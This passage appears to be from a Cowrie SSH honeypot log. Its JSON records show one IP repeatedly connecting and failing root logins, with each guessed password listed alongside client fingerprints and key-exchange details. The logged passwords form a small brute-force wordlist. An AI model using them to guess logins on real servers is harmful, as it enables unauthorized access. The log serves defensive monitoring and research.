sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:35.248097Z","src_ip":"60.165.124.241","session":"5f4159fc9fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd1!","message":"login attempt [root/Passw0rd1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:36.025807Z","src_ip":"60.165.124.241","session":"5f4159fc9fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:37.274923Z","src_ip":"60.165.124.241","session":"5f4159fc9fd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33472,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf4defce2a84","protocol":"ssh","message":"New connection: 60.165.124.241:33472 (10.17.0.5:22) [session: cf4defce2a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:37.519046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:37.543936Z","src_ip":"60.165.124.241","session":"cf4defce2a84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:37.793392Z","src_ip":"60.165.124.241","session":"cf4defce2a84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q1w2e3r4.","message":"login attempt [root/Q1w2e3r4.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:38.556108Z","src_ip":"60.165.124.241","session":"cf4defce2a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:39.806144Z","src_ip":"60.165.124.241","session":"cf4defce2a84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36490,"dst_ip":"10.17.0.5","dst_port":22,"session":"0819b4d3da25","protocol":"ssh","message":"New connection: 60.165.124.241:36490 (10.17.0.5:22) [session: 0819b4d3da25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:40.034076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:40.039102Z","src_ip":"60.165.124.241","session":"0819b4d3da25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:40.277390Z","src_ip":"60.165.124.241","session":"0819b4d3da25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jj1314520","message":"login attempt [root/jj1314520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:41.003507Z","src_ip":"60.165.124.241","session":"0819b4d3da25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:42.245726Z","src_ip":"60.165.124.241","session":"0819b4d3da25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39597,"dst_ip":"10.17.0.5","dst_port":22,"session":"22bf70bc1475","protocol":"ssh","message":"New connection: 60.165.124.241:39597 (10.17.0.5:22) [session: 22bf70bc1475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:42.479527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:42.484762Z","src_ip":"60.165.124.241","session":"22bf70bc1475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:42.722573Z","src_ip":"60.165.124.241","session":"22bf70bc1475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"i1234567@","message":"login attempt [root/i1234567@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:43.444577Z","src_ip":"60.165.124.241","session":"22bf70bc1475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:44.686266Z","src_ip":"60.165.124.241","session":"22bf70bc1475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42746,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddf62055d448","protocol":"ssh","message":"New connection: 60.165.124.241:42746 (10.17.0.5:22) [session: ddf62055d448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:44.920650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:44.925943Z","src_ip":"60.165.124.241","session":"ddf62055d448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:45.164040Z","src_ip":"60.165.124.241","session":"ddf62055d448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@aA123456","message":"login attempt [root/@aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:45.889988Z","src_ip":"60.165.124.241","session":"ddf62055d448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:47.144268Z","src_ip":"60.165.124.241","session":"ddf62055d448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45418,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d5b2c7cbb80","protocol":"ssh","message":"New connection: 60.165.124.241:45418 (10.17.0.5:22) [session: 8d5b2c7cbb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:47.385182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:47.390497Z","src_ip":"60.165.124.241","session":"8d5b2c7cbb80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:47.627660Z","src_ip":"60.165.124.241","session":"8d5b2c7cbb80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jydadmin@123","message":"login attempt [root/jydadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:48.350437Z","src_ip":"60.165.124.241","session":"8d5b2c7cbb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:49.589182Z","src_ip":"60.165.124.241","session":"8d5b2c7cbb80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48502,"dst_ip":"10.17.0.5","dst_port":22,"session":"99b7c64417f1","protocol":"ssh","message":"New connection: 60.165.124.241:48502 (10.17.0.5:22) [session: 99b7c64417f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:49.840694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:49.845535Z","src_ip":"60.165.124.241","session":"99b7c64417f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:50.092351Z","src_ip":"60.165.124.241","session":"99b7c64417f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gandalf","message":"login attempt [root/gandalf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:50.839241Z","src_ip":"60.165.124.241","session":"99b7c64417f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:52.088339Z","src_ip":"60.165.124.241","session":"99b7c64417f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51616,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5dcfd1e2c49","protocol":"ssh","message":"New connection: 60.165.124.241:51616 (10.17.0.5:22) [session: a5dcfd1e2c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:52.313908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:52.318295Z","src_ip":"60.165.124.241","session":"a5dcfd1e2c49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:52.556872Z","src_ip":"60.165.124.241","session":"a5dcfd1e2c49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB3@xY7!qW9#zR2","message":"login attempt [root/aB3@xY7!qW9#zR2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:53.276705Z","src_ip":"60.165.124.241","session":"a5dcfd1e2c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:54.516956Z","src_ip":"60.165.124.241","session":"a5dcfd1e2c49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54586,"dst_ip":"10.17.0.5","dst_port":22,"session":"c63d652ee80d","protocol":"ssh","message":"New connection: 60.165.124.241:54586 (10.17.0.5:22) [session: c63d652ee80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:54.754903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:54.760214Z","src_ip":"60.165.124.241","session":"c63d652ee80d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:55.000872Z","src_ip":"60.165.124.241","session":"c63d652ee80d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456!","message":"login attempt [root/Aa123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:55.727854Z","src_ip":"60.165.124.241","session":"c63d652ee80d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:56.971945Z","src_ip":"60.165.124.241","session":"c63d652ee80d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57536,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ffe6258a2bc","protocol":"ssh","message":"New connection: 60.165.124.241:57536 (10.17.0.5:22) [session: 0ffe6258a2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:57.198428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:57.204058Z","src_ip":"60.165.124.241","session":"0ffe6258a2bc","protocol":"ssh"}
